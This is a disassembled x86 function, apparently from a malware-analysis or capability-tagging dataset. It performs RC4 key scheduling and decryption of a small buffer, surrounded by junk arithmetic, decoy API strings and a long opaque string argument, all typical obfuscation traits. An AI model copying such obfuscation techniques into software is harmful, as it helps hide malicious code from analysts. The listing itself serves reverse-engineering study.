Function at 0x643c75d0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0x15
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x16e]
mov esi, 0x643eb348
push ebx
sub esp, 0x18c
mov eax, dword [0x643e7e6c]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x144]
mov esi, 0x643eb35d
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
sub eax, 0x6e8f198e
and eax, 0xd233e1c8
sub eax, 0x11ca396b
mov dword [0x643e7e6c], eax
mov dword [esp], str.SdbGuestTargetPlatformFlagsToRuntimePlatformFlags
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, 0x38d11a85
push edx
and eax, 0xde15ee1e
or eax, 0xce00ae16
add eax, 0x368ea43f
mov dword [0x643e7e6c], eax
call fcn.643d27ac
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x643c7647
xor dword [0x643e7e6c], 0x73e476a7
mov edx, str.Log_service_encountered_an_invalid_log_block.
mov ecx, 0xac1
movzx eax, word [edx]
add edx, 2
test ax, ax
je 0x643c7698
add ecx, eax
cmp ecx, 0x1a35
jbe 0x643c766a
call fcn.643d0f40
imul eax, dword [0x643e7e6c], 0xa0124b9f
mov dword [0x643e7e6c], eax
call fcn.643d1c54
mov eax, dword [0x643e7e6c]
xor esi, esi
xor ebx, ebx
sub eax, 0x12474a71
or eax, 0x9adefa8c
mov dword [0x643e7e6c], eax
mov eax, ebx
mov edi, 0x2b
xor edx, edx
mov cl, byte [ebp + ebx - 0x118]
div edi
mov byte [ebp - 0x179], cl
movzx eax, byte [ebp + edx - 0x144]
movzx edx, cl
add eax, edx
add eax, esi
movzx esi, al
mov eax, dword [0x643e7e6c]
add eax, 0x589858cd
and eax, 0x1329b665
mov dword [0x643e7e6c], eax
call fcn.643d1c54
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov al, byte [ebp + esi - 0x118]
mov cl, byte [ebp - 0x179]
mov byte [ebp + ebx - 0x118], al
inc ebx
mov byte [ebp + esi - 0x118], cl
cmp ebx, 0x100
jne 0x643c76b0
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0x118]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x118]
mov byte [ebp + edx - 0x118], bl
mov byte [ebp + ecx - 0x118], al
add al, byte [ebp + edx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebp + esi - 0x16e]
inc esi
mov byte [esi + ebp - 0x15a], al
cmp esi, 0x15
jne 0x643c7723
mov byte [ebp - 0x144], 0
xor edi, edi
mov esi, 0x1f
mov dword [ebp - 0x178], 0x14
mov dword [ebp - 0x174], 0xffffffe2
mov edx, str.SdbGuestTargetPlatformFlagsToRuntimePlatformFlags
mov ecx, 0x1c1d
movsx eax, byte [edx]
inc edx
test al, al
je 0x643c77b5
add ecx, eax
cmp ecx, 0x2015
jbe 0x643c7799
add dword [0x643e7e6c], 0x2a61f30d
mov eax, dword [0x643e7e6c]
and eax, 0x26173a69
sub eax, 0x6209bf7d
mov dword [0x643e7e6c], eax
call fcn.643d1c54
add esi, dword [ebp + edi*4 - 0x178]
test edi, edi
jne 0x643c77e0
mov edi, 1
jmp 0x643c778f
lea eax, [ebp - 0x159]
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 0x140c
mov dword [esp], str.jjm9RvHal3v9lWQaXbnTTWax7tgMX1bEvCl0k1jNAIRgoukPXHtMMhoRKZe4S4zkqJ0RdFu9sc6rGLClwK2saVeWZNw2_8BawJ7U0j2K_6Zv3RRiUJxvw28xFrTS3sXuijGeEnVmnbNZHSr9qt99JNF81wD9EXKd350895HlW1B15zEfFRA0DUv86lo5IN_hJ7ygD8xmcXII8sD996_W0d5hZ99HyM7pt45K9pTYYHPTL0Sqgn95djxfP0t7GaMtNqDjD6uJUpFvNsDW7L281E9oDDH0cSj6hWJ46hDGKckLDNXdhtqEywHxOsSHhui_taVu5cvGBeTG31S6xpD9M4EoztdfT05hWfy4xMpxkSKBMmJc7yW7sXNVeLFWeFWHgkzBT6nfJkIYA6WOaLb91llUrZoZItA3gMUx0NHne0boqh52WGAEo0gm2cJseOZnCkYOonkqLs6p_QX6hGx7_DVyKGuMyf4kKP7BB7aDxCquf__N5_CaRFRQVKo5xeZWIN2KBAMIHwJLDXdJKnFsGR3IEq4EBjD1MildgzBVqNVwsSp1Sro1zfTCDNaRvwtj7bqtTKyUqnOXyddxxCre6Au6b3ywcDs3zx1KI8TfoavYltp1rMgE2qEkCH4LFlWkA9ASEVOjwvx9EgA5mYrGmCp8aTUQRmOyJF8aWJTF0BpXv7dQOY8QCND1j3E5tYzZqeKT0G0uBt5j5iFjAPXl6MYtA0hCpZ8lHbrYOtyT4tRirWEwBk2QRTYkHtseNHYdI0_mWeebNBlj1JHpunHsFeDDjSKQfFi7qg2NRWoHsRq63VzCHHWYzWVdzYoKGnC67VRdBqACtDEBp7Mu82iHQT5pnidcKSdqBIcZPvNvX9PPfvPmElNSRw3IZumhelc4pJnVUHubihvXKk3zGDC1Zow8zB6xaouDnwBlCHXfnHsCuXtfkoM11mgfN4jB46e361vLl3ztyfZ1ZSQhpLYB6w0PEvUmCid0md5Gy7jp9Y_g_MiiDkovQUvC7Liys426FUrVuTYdXU0ULUKQnm5eNATwoxOXw6tuCaroJZLXPRQr4Njv639hE2JiN7l3uueevud6eisdFvesGdvix8PvinMJvDhJ8uitjPblDw0rIn8_exmG5Fh3VdcJzKc38Q4SYlX7rOqCT1kAaisb6KPsveFkLJnaDTpAyc52PNn4gd8VCfXmutBlwG_qBxHYoq83Aanp5Og4UHJDiVRVJVtSKWCYL5H2cvE8nIOzY59imRxVuyUfdyGi8l50t2QaFW7D6pH1ilidmk2x4lsFBTNN_yFW7yKjKsxjzHwjr2DzbBSko5LKz8QAA9Mu1zCGtPSNyZFgTESTB5_CXxlPTzrmJZl6ADQ7OY622U7KO1rCzf9CF_mJuQhyms5ZJ0FImK2lEu12xx2rIop8nxUTmgUbu4t9ztqgw8JbN2kSV5fQBQk9QtOIGj5UtbJJtrwq869zGo5IQqPZ18B3NWtqO061vGHaxyP2VIIzzynb0xC3GdHbNhIIom8oZfoGyxZO8DHwikBxZh_mhSALcV11hlT8qHp6D3xQKSQOlBdYrKvpyMyqSngxvNt3j6OhF9rTtKGcV5jBsq5IagEtdfIxeTv7LhQmNeBtRQeqOe_MRjyXbIz6PpVJY0PmJk5bL4Yc0fOwQrVOutLkJFCQjpXsue1NZa5fsdz3CYT1QuWok6RiNcZ1VJ5hTlAMA0FR3zk0v459qc4MFhbllygXCeBKpIw5yk270eLQLM0ULsADdAbxPuIaUEwMIqdDCthxXqgF7m54TO41HHIfYE6Y6sEHec7v821Jeh1RtyDT7m8j9j9bFdZ6BN5fzu08d72h9AhI0IJKl0SanjNDcSvgyE3QR_rWqTXav2rwcO7IpRzDnUU7UE5L6kElIoLmjdh2yfaLT7i71JFTB7JS2i1MVy6NQGhjwNe8Ih_XlUxShEMYDP__Go1BkMsu0sFurlJSh9jqlYF4gsnVJ3_C_3UnwD0b3MPcljgeqp9m6HHs8xWvlAME9o7BT06k711kmuVMq03g3pQ6eva7331TcNey6xNt5hKyD4r7flxxn_Hz7qt7O2ls5Yf5oaoC9H3RAEjVbDkdL8mjJf2jL3a0gti8cprajdjGTYuypGS3me3ZahUGPgSWZzZbj5a_HYsGn4xzMKfVUD9nnlbULNTholYntjgbxXTi00W7evU83sgY2jGWpuMS6UuyhEdgDmv4_VYj7_VcRk1sSEMj2g6QtXjC0CQcaQoodALNTzEn1kpqu79GdWotxVgmvhWLOLfYhG0yVswZ13Bn7A4169IEe8IA4hXbOZxTDD2SQZhgdVOKkoYFiY8wjdID4k_FvcAyvNkA1XtaXk85jQxY5l9YtjxEYO4S_2rX4PceRWeQj9msHgqObzY6tEaLaMj_q6N6bP_JZ2Y7h65IuLpCa0RnkMzuSin6L6jR44wfYty6AIsM2fHXeSrqti0gRShZOX9gaUyEphcsClcpM2bvMgkWvYg8nhePRFMBZuaTZjdLSGAWL6Sw8mX9p4dx6WAStek3NEZxMprtbv1Jbphxjo4ixSMsQ31O1w8Cfxd4mCO5b9pJWLr3E6kErR28E2YCDNfRwWe8mh5XIRSDuLBrbzEDWZyRUZBqB8j6_cZT6V1a2tLtoyfTcgtRUOh4nwq8fg4yWcSz1JV1c3YKhUn31e7SzAqqEfSIAqsJtQiQsxrPvS_sujZam_2TiMgBjHPKvVV77rhLfpM853iFmpZ2il7wGQR71uW9RI11iTdoCjYY8S3PZMR4VRIYcerajkqyqOUr_qY8h8GDzUZ_vOfAgFXDx63WySZgkM7lXM7i1YosccW2skmdwLFiC3rLp_NlPjPuP7gejbpxNqsZSUXZXfa_wuMgUvLV0AM0tCFhX5PCKYcfBESJfDjKm1iaZOYkauvAaRAXsBmkTeb4LFgSKKbMfrBPGhjoLL_lTlAvOPApIhrM1zeFvVF30TDqPmQxjSJZEAQQKNYs4_9HCNwlzHc_wINz8kj7kGqnMoWFvTX_DANwmCmegMQNYMQmLJsaAtxQ0qjIRBlGDXhsi6knAGsk0RrIFljmzYb8oxoys6j2xc2jMNHgwbLZUd0HlBOFIuGCngUTTHZdNdhLRWw2kidw_Lnz_FwrezGBCJaS1Y0LhFyCdgImfOfGQ9KH9evjrM3NClC6rou76e4nDI8mTPlnDK99Re1aGg5XaGur4TN8B1ueqXSS_jeZAjnHFxFMtd3EuoJiJHp6wj4PIjRLnmY4JU67Nxxx6n3MhxGyIVLRjD9IGLxNJPZkYTFsvfwXEXqsfUcMpIeFSpZHzYJfCU2LJqKOvyciuh3IBsSURiwbloGdBIPQEp25mJLM5iCdgV2Bt1VhS6WrMy4ca8FgZAKsIZnRViDPPjYdrNklZEHop0HyzkS7HmMsn8PymgOOy_zuxxTQ63YhCiVUAopXoesyPH6Ae8sPd7K2CtC0QLmAesrTnQYGJwps_GiTF7qxcgR2G7X6GcR7jQwGNfbZ9hojixIMUdQYh6s__GK9wkOq4BbajWsfYRDqodcbVK9yPkFSMuA4fwx1o_N0UZNSEddcLsRajfsn6HG3EJJFB7cVYngh4EPMRJLDrDS8TI6br9A8Kol1DtIyelCR9WbirxdfrL4Mf4iwe7tK2Qk4etzj9YqibL9TNbXawd1Cj7wllPBR6iAADoYohxI7lIMvPRzOP4SUZVR3c_yOxpvNhxWRphD1MzPxdHy9sZUvNEWfX53ymX2p8CM45DROlnc9npZK052DJWfX6wMOw1wwh5KAnBWI9HFtmSj2RYVreVRuHzkAtODfU2FnxCdooZxIgUdmR4axc4S4TIhpkRfXb_LDhMS7FDjqZi55KbxA5YyfsweiDeAi_iu3Ylv4Ed2qqQcTWpCoxOreAmD2AnhPg3oHUXCxRkT7Dx_0KwN2jmZK5nL3hluqRaoCI_YfnWbb84hiLMOY7BbZPkzCIZv08XlOQqJPcNMTsMxaMkywVqk
call fcn.643cb468
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret